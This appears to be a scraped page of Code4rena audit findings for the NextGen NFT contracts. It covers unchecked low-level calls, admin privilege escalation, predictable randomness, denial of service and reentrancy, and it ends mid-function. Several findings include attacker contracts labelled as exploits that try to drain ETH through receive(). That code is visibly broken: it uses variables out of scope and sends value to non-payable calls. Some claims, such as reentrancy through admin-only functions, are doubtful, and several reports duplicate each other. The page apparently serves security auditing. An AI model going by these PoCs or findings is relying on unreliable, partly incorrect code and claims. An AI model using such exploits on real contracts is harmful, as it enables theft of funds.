https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

Three low level calls are made, msg.sender.call{value:}, but the result is not validated if it was correct. This could generate inconsistency in the state of the contracts, if it returned false,
because it would change states, but without transferring the gas.

Recommended Mitigation Steps

validate the return of the calls and revert if necessary.

Assessed type

ETH-Transfer

Lower-privilege admins can escalate to global admin using unchecked registerAdmin in NextGenAdmins contract.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenAdmins.sol#L38-L40
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenAdmins.sol#L31-L34

Vulnerability details

Impact

The registerAdmin function allows privilege escalation as it does not check the caller's permission level before granting global admin access.

This could allow a lower-privilege admin to promote themselves to full global admin privileges.

Proof of Concept

The issue occurs in NextGenAdmins.sol: Link to code

registerAdmin allows adding a new global admin:

function registerAdmin(address _admin, bool _status) public AdminRequired {
  adminPermissions[_admin] = _status; 
}

The AdminRequired modifier allows any admin type to call this: Link to code

This means that even if a user is only a function or collection admin, they can call registerAdmin to promote themselves to a full global admin.

For example:

  1. Alice is made a function admin for setCollectionData:
registerFunctionAdmin(alice, setCollectionDataSelector, true)
  1. Alice calls registerAdmin and adds herself as a global admin:
registerAdmin(alice, true) 
  1. Now Alice has full global admin privileges.

Alice has exceeded her intended role as a function admin.

This is possible because registerAdmin does not check the caller's permission level before granting global admin access.

Tools Used

Manual review

Recommended Mitigation Steps

  1. Update registerAdmin to use a OnlyGlobalAdmin modifier that requires msg.sender to already be a global admin:
modifier OnlyGlobalAdmin() {
  require(adminPermissions[msg.sender] == true, "Must be global admin");
  _;
}

function registerAdmin(address _admin, bool _status) public OnlyGlobalAdmin {
  // ...
} 
  1. Revoke any incorrectly granted admin permissions.

Assessed type

Access Control

[M-14] Return value of low level call not checked in MinterContract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L461-L466

Vulnerability details

Impact

The return value of low level call is not checked.
If the msg.sender is a contract and its receive() function has the potential to revert, the code payable(admin).call{value: balance}(""); could potentially return a false result, which is not being verified. As a result, the calling functions may exit without successfully returning ethers to senders.
The emergencyWithdraw function does not check the return value of low-level calls.
This can lock Ether in the contract if the call fails or may compromise the contract if the ownership is being changed.
The following call was detected without return value validations in the emergencyWithdraw function.
(bool success, ) = payable(admin).call{value: balance}("");

Proof of Concept

Vulnerable emergencyWithdraw function

// Ln 461-466
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Vulnerable code snippet

// Ln 464
(bool success, ) = payable(admin).call{value: balance}("");

Exploit low level call on emergencyWithdraw function

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./MinterContract.sol";

contract tMinterContract {

   MinterContract public x1;

   constructor(MinterContract _x1) {

      x1 = MinterContract(_x1);
  
   }

   function testLowCal() public payable {

      x1.emergencyWithdraw{value: 3 ether}();

   }

   receive() external payable {}
      
   } 

Tools Used

VS Code.

Recommended Mitigation Steps

It's recommended to check the return value to be true or just use OpenZeppelin Address library sendValue() function for ether transfer.
See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/contracts/utils/Address.sol#L64 .
Ensure return value is checked using conditional statements for low-level calls.
Conditional statements like require().

Assessed type

call/delegatecall

QA Report

See the markdown file with the details of this report here.

DoS - Highest bidder unable to claim NFT

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

When DemoAuction has been finished the winner should call the claimAuction() function to claim NFT. In a loop, the highest bidder is detected and for the rest, their Bids are returned.

Consider a DoS attack, where a malicious smart contract bidder that made a small Bid in the beginning (1 wei) could refuse to get their Bid back by reverting inside the receive() function of the smart contract. In that case, it's not possible for the highest Bidder to claim the NFT because claimAuction() always reverts.

Proof of Concept

Tools Used

Manual review.

Recommended Mitigation Steps

Don't return ETH from bids in a loop. Individual non-winning bidder can claim their ETH back by calling cancelBid().

Assessed type

DoS

NextGenRandomizerNXT generates the same token hash

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerNXT.sol#L55
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L35
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L40

Vulnerability details

Impact

It's crucial to have a distinct token hash for each NFT because artists may rely on the token hash as the source of randomness to produce a unique item of art.

Yet it doesn't happen for the same block and same _mintIndex when NextGenRandomizerNXT is used as a Randomizer.

function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
    require(msg.sender == gencore);
    bytes32 hash = keccak256(abi.encodePacked(_mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));
    gencoreContract.setTokenHash(_collectionID, _mintIndex, hash);
}

Similarly, both randoms.randomNumber() and randoms.randomWord() output same words and numbers for the same block number (block.prevrandao, block.number, block.timestamp are the same for all txs in the block).

function randomNumber() public view returns (uint256){
    uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
    return randomNum;
}

function randomWord() public view returns (string memory) {
    uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
    return getWord(randomNum);
}

If we look inside MinterContract.airDropTokens(), the value of mintIndex is the same for many NFTs.

uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID);

Further gencore.airDropTokens() calls _mintProcessing() which subsequently calls NextGenRandomizerNXT.calculateTokenHash().

As a result, all NFTs in the aidrop will have the same token hash.

Proof of Concept

Tools Used

Manual review.

Recommended Mitigation Steps

NextGenRandomizerNXT shouldn't use XRandoms.

Assessed type

Other

Function admins can bypass collection admin roles, potentially leading to unauthorized access in NextGenCore contract.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L124
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L147
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126

Vulnerability details

Vulnerability Details

The CollectionAdminRequired modifier improperly checks for function admin permissions, allowing any address with function admin access to bypass collection admin roles and call restricted collection functions. This could let malicious actors with function admin access modify sensitive collection data or settings they should not have access to.

The key vulnerability is in the CollectionAdminRequired modifier in NextGenCore.sol: Link to code

modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
  require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true || 
         adminsContract.retrieveFunctionAdmin(msg.sender, _selector) == true ||  
         adminsContract.retrieveGlobalAdmin(msg.sender) == true, 
         "Not allowed");
  _;
}

This modifier is used to restrict access to collection-specific functions like setCollectionData, updateCollectionInfo, etc.

The issue is that it checks retrieveFunctionAdmin which allows any address that is a function admin for that specific function selector to call it, regardless of their collection admin status.

For example, say Alice is set as a Collection Admin for Collection 1#:

registerCollectionAdmin(1, aliceAddress, true)

This would allow her to call setCollectionData for Collection 1# since she's an admin.

But if Bob is set as a Function Admin specifically for setCollectionData:

registerFunctionAdmin(bobAddress, setCollectionDataSelector, true)

Then Bob would also be able to call setCollectionData for Collection 1#, even though he's not a Collection Admin!

This is because the CollectionAdminRequired modifier considers function admin status as sufficient permission even though Bob should not have access to that collection.

The impact is that function admins can bypass collection admin roles and improperly access collection functions they should not have rights to.

Proof of Concept

The problem occurs due to the usage of the CollectionAdminRequired modifier in NextGenCore.sol: Link to code

modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
  require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true ||  
         adminsContract.retrieveFunctionAdmin(msg.sender, _selector) == true ||
         adminsContract.retrieveGlobalAdmin(msg.sender) == true,  
         "Not allowed");
  _;
}

The require check allows access if msg.sender is either:

A) Collection Admin
B) Function Admin for that selector
C) Global Admin

The issue is with condition 'B'. By allowing Function Admins, it enables them to bypass the Collection Admin role.

For example, say Alice is added as a Collection Admin for Collection 1#:

registerCollectionAdmin(1, aliceAddress, true)  

This would properly restrict access to collection 1# specific functions like setCollectionData to Alice.

However, if Bob is added as a Function Admin specifically for setCollectionData:

registerFunctionAdmin(bobAddress, setCollectionDataSelector, true)

Then Bob would still be able to call setCollectionData for Collection 1# in NextGenCore, even though he is not a Collection Admin.

This is because the CollectionAdminRequired modifier sees that Bob is a Function Admin for setCollectionData and allows him access.

But Bob should not have any special privileges for Collection 1#. So this allows him to improperly bypass the Collection Admin role.

Tools Used

Manual

Recommended Mitigation Steps

The CollectionAdminRequired modifier should check only the collection admin mapping, not the function admin mapping:

modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
  require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true,  
         "Not allowed");
  _;
}

This would ensure only assigned Collection Admins can access collection functions, preventing role bypass.

Assessed type

Access Control

[M-09] Reentrancy in the RandomizerRNG contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L61-L64
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L79-L84

Vulnerability details

Impact

The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.

Proof of Concept

Vulnerable updateAdminContract function to reentrancy

// Ln 61-64
    function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
        require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
        adminsContract = INextGenAdmins(_newadminsContract);
    }

Vulnerable emergencyWithdraw function to reentrancy

// Ln 79-84
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Exploit Reentrancy

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./RandomizerRNG.sol";

contract tRandomizerRNG {

   RandomizerRNG public x1;

   constructor(RandomizerRNG _x1) {

      x1 = RandomizerRNG(_x1);

   }

   function testReenEnter() public payable {

      x1.updateAdminContract(address(_x1));
      x1.emergencyWithdraw{value: 2 ether}();

   }

   receive() external payable {

      msg.sender.transfer(payable(address(_x1)).balance);

   }

   }

Tools Used

VS Code.

Recommended Mitigation Steps

All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.

Assessed type

Reentrancy

[M-05] Dubious type casting in the RandomizerVRF contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L66
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L65-L68

Vulnerability details

Impact

Down data type casting from bytes to bytes32 in Solidity involves converting a larger data type (bytes) to a smaller data type (bytes32).
This is done by taking the first 32 bytes of the larger data type and discarding the rest.
However, this operation can be risky if not handled properly because any data beyond the first 32 bytes is permanently lost.
In the code, this operation is not explicitly performed.

Proof of Concept

The dubious typecast is the conversion from bytes to bytes32 in the fulfillRandomWords function.
Here's a proof of concept (POC) that demonstrates the potential issue:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;

contract POC {
    function dubiousTypecast() public pure returns (bytes32) {
        uint256[] memory randomWords = new uint256[](3);
        randomWords[0] = 1;
        randomWords[1] = 2;
        randomWords[2] = 3;
        uint256 tokenId = 123;

        bytes memory packed = abi.encodePacked(randomWords, tokenId);
        bytes32 result = bytes32(packed); // Dubious typecast

        return result;
    }
}

In this POC, randomWords is an array of uint256 and tokenId is a uint256.
They are packed together into a bytes variable using abi.encodePacked.
Then, a dubious typecast is performed to convert the bytes variable to bytes32.

The issue here is that bytes can be of any length, but bytes32 is always 32 bytes long.
If the bytes variable is longer than 32 bytes, the conversion will truncate the data, leading to loss of information.
If the bytes variable is shorter than 32 bytes, the conversion will pad the data with zeros, which might not be the intended behavior.

In the context of the NextGenRandomizerVRF contract, this dubious typecast could lead to incorrect token hashes being set in the gencoreContract, which could have serious implications depending on how these hashes are used in the rest of the contract.

Locations

Dubious typecast in NextGenRandomizerVRF.fulfillRandomWords(uint256,uint256[]) (smart-contracts/RandomizerVRF.sol#65-68):
bytes => bytes32 casting occurs in gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]],requestToToken[_requestId],bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))) (smart-contracts/RandomizerVRF.sol#66)

Vulnerable fulfillRandomWords function

// Ln 65-68
    function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
        emit RequestFulfilled(_requestId, _randomWords);
    }
// Ln 66
        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));

Tools Used

VS Code.

Recommended Mitigation Steps

Use clear constants.

Assessed type

Invalid Validation

DoS - Airdrop fails due to one recipient reverts

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L181-L191
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231

Vulnerability details

Impact

The airDropTokens() functions of MinterContract accepts an array of recipients in the _recipients parameter for the aidrop.

It calls gencore.airDropTokens() inside and further calls _mintProcessing(). In turn _mintProcessing() calls _safeMint().

_safeMints() invokes a callback for the NFT receiver.

Consider one smart contract NFT recipients may maliciously revert. Therefore, the whole airdrop MinterContract.airDropTokens() call fails.

Proof of Concept

Tools Used

Manual review.

Recommended Mitigation Steps

Inside airDropTokens() functions of MinterContract surround gencore.airDropTokens() with try/catch block, so the whole airdrop succeeds even if few malicious recipients revert.

Assessed type

DoS

`tokenHash` is not truly random - possibility of predictably minting a specific tokenHash

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerNXT.sol#L55
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L36
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L41

Vulnerability details

Impact

An attacker can predict if a specific tokenHash is going to be minted and therefore decide to either participate or not in the minting process.

Proof of Concept

the hash token is generated using the following function:

    function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
        require(msg.sender == gencore);
        bytes32 hash = keccak256(abi.encodePacked(_mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));
        gencoreContract.setTokenHash(_collectionID, _mintIndex, hash);
    }

also the randomNumber and randomWord used in the hash generation are generated using the following function:

    function randomNumber() public view returns (uint256){
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
        return randomNum;
    }

    function randomWord() public view returns (string memory) {
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
        return getWord(randomNum);
    }

all the elements in this 3 functions:

  • block.prevrandao : is known
  • block.number: is known
  • blochash: is known
  • block.timestamp: is known

Therefore, if a collection uses the RandomizerNXT then an attacker can target specific tokens and only participate to a mint when they will be minted.

here is a reference to more details about this issue: https://media.dedaub.com/bad-randomness-is-even-dicier-than-you-think-7fa2c6e0c2cd

Tools Used

Manual

Recommended Mitigation Steps

it is prefered to use RandomizerVRF or RandomizerRNG to generate the hashs.

Assessed type

Other

NextGenAdmins should use Ownable2Step and disallow ownership transfer

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenAdmins.sol#L15

Vulnerability details

Impact

The onwer of the NextGenAdmins plays a cruial role for the protocol. Therefore, an extra care should be taken when transferring the ownership, or there is a chance to accidentially renounce the ownership.

NextGenAdmins should implement 2-step ownership transfer and should prohibit ownership renouncement.

Proof of Concept

Tools Used

Manual review.

Recommended Mitigation Steps

Use Ownable2Step instead of Ownable. Override the renounceOwnership() function, it should revert.

Assessed type

Access Control

[M-08] Reentrancy in the AuctionDemo contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L124-L130
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Impact

The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.

Proof of Concept

Vulnerable claimAuction function to reentrancy

// Ln 104-120
    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Vulnerable cancelBid function to reentrancy

// Ln 124-130
    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Vulnerable cancelAllBids function to reentrancy

// Ln 134-143
    function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
            } else {}
        }
    }

Exploit Reentrancy

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./AuctionDemo.sol";

contract tAuctionDemo {

   AuctionDemo public x1;

   constructor(AuctionDemo _x1) {

      x1 = AuctionDemo(_x1);

   }

   function testReen() public payable {
      x1.claimAuction{value: 2 ether}(uint256(24));
      x1.cancelBid{value: 2 ether}(uint256(24), uint256(1));
      x1.cancelAllBids{value: 2 ether}(uint256(24));
   }
   
   receive() external payable {
    
      msg.sender.transfer(payable(address(_x1)).balance);

   }

   }

Tools Used

VS Code.

Recommended Mitigation Steps

All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.

Assessed type

Reentrancy

QA Report

See the markdown file with the details of this report here.

Flaw in `CollectionAdminRequired` allows function admins to bypass collection roles, risking unauthorized access in NextGenCore.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L147
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126

Vulnerability details

Impact

The CollectionAdminRequired modifier has a flaw in its implementation. It doesn’t properly check function admin permissions, which means that anyone with function admin access can bypass collection admin roles and call restricted collection functions. This could allow bad actors with function admin access to modify sensitive collection data or settings that they shouldn’t have access to, which could lead to serious security breaches.

Proof of Concept

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126

The CollectionAdminRequired modifier checks if:

  • msg.sender is a Collection Admin
  • OR a Function Admin for that function selector
  • OR a Global Admin

If so, it allows the function call.

The issue is that it checks for function admin status, enabling function admins to bypass collection roles.

For example, Alice is made Collection Admin for Collection 1:

registerCollectionAdmin(1, aliceAddress, true)

Bob is made a Function Admin just for setCollectionData:

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L147

registerFunctionAdmin(bobAddress, setCollectionDataSelector, true) 

Even though Bob is not a Collection Admin, he can still call setCollectionData for Collection 1 because he is a Function Admin.

This allows Bob to improperly bypass Alice's Collection Admin role and modify Collection 1 data.

Tools Used

Manual review

Recommended Mitigation Steps

  1. Update CollectionAdminRequired modifier to check only for collection admin status, not function admin: https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
  require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true,  
         "Not allowed");
  _;
}
  1. Revoke any incorrect function admin permissions.

  2. Consider adding additional checks in sensitive collection functions to validate msg.sender is the assigned Collection Admin.

Assessed type

Access Control

QA Report

See the markdown file with the details of this report here.

[M-12] Reentrancy in the MinterContract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L326-L365
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L415-L444
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L454-L457
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L461-L466

Vulnerability details

Impact

The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.

Proof of Concept

Vulnerable burnOrSwapExternalToMint function to reentrancy

// Ln 326-365
    function burnOrSwapExternalToMint(address _erc721Collection, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, string memory _tokenData, bytes32[] calldata merkleProof, uint256 _saltfun_o) public payable {
        bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection,_burnCollectionID));
        require(burnExternalToMintCollections[externalCol][_mintCollectionID] == true, "Initialize external burn");
        require(setMintingCosts[_mintCollectionID] == true, "Set Minting Costs");
        address ownerOfToken = IERC721(_erc721Collection).ownerOf(_tokenId);
        if (msg.sender != ownerOfToken) {
            bool isAllowedToMint;
            isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 2);
            if (isAllowedToMint == false) {
            isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 2);    
            }
            require(isAllowedToMint == true, "No delegation");
        }
        require(_tokenId >= burnOrSwapIds[externalCol][0] && _tokenId <= burnOrSwapIds[externalCol][1], "Token id does not match");
        IERC721(_erc721Collection).safeTransferFrom(ownerOfToken, burnOrSwapAddress[externalCol], _tokenId);
        uint256 col = _mintCollectionID;
        address mintingAddress;
        uint256 phase;
        string memory tokData = _tokenData;
        if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
            phase = 1;
            bytes32 node;
            node = keccak256(abi.encodePacked(_tokenId, tokData));
            mintingAddress = ownerOfToken;
            require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');            
        } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
            phase = 2;
            mintingAddress = ownerOfToken;
            tokData = '"public"';
        } else {
            revert("No minting");
        }
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
        require(msg.value >= (getPrice(col) * 1), "Wrong ETH");
        uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
        gencore.mint(mintIndex, mintingAddress, ownerOfToken, tokData, _saltfun_o, col, phase);
        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
    }

Vulnerable payArtist function to reentrancy

// 415-444
    function payArtist(uint256 _collectionID, address _team1, address _team2, uint256 _teamperc1, uint256 _teamperc2) public FunctionAdminRequired(this.payArtist.selector) {
        require(collectionArtistPrimaryAddresses[_collectionID].status == true, "Accept Royalties");
        require(collectionTotalAmount[_collectionID] > 0, "Collection Balance must be grater than 0");
        require(collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage + _teamperc1 + _teamperc2 == 100, "Change percentages");
        uint256 royalties = collectionTotalAmount[_collectionID];
        collectionTotalAmount[_collectionID] = 0;
        address tm1 = _team1;
        address tm2 = _team2;
        uint256 colId = _collectionID;
        uint256 artistRoyalties1;
        uint256 artistRoyalties2;
        uint256 artistRoyalties3;
        uint256 teamRoyalties1;
        uint256 teamRoyalties2;
        artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100;
        artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100;
        artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100;
        teamRoyalties1 = royalties * _teamperc1 / 100;
        teamRoyalties2 = royalties * _teamperc2 / 100;
        (bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
        (bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
        (bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
        (bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
        (bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd1, success1, artistRoyalties1);
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd2, success2, artistRoyalties2);
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd3, success3, artistRoyalties3);
        emit PayTeam(tm1, success4, teamRoyalties1);
        emit PayTeam(tm2, success5, teamRoyalties2);
    }

Vulnerable updateAdminContract function to reentrancy

// 454-457
    function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
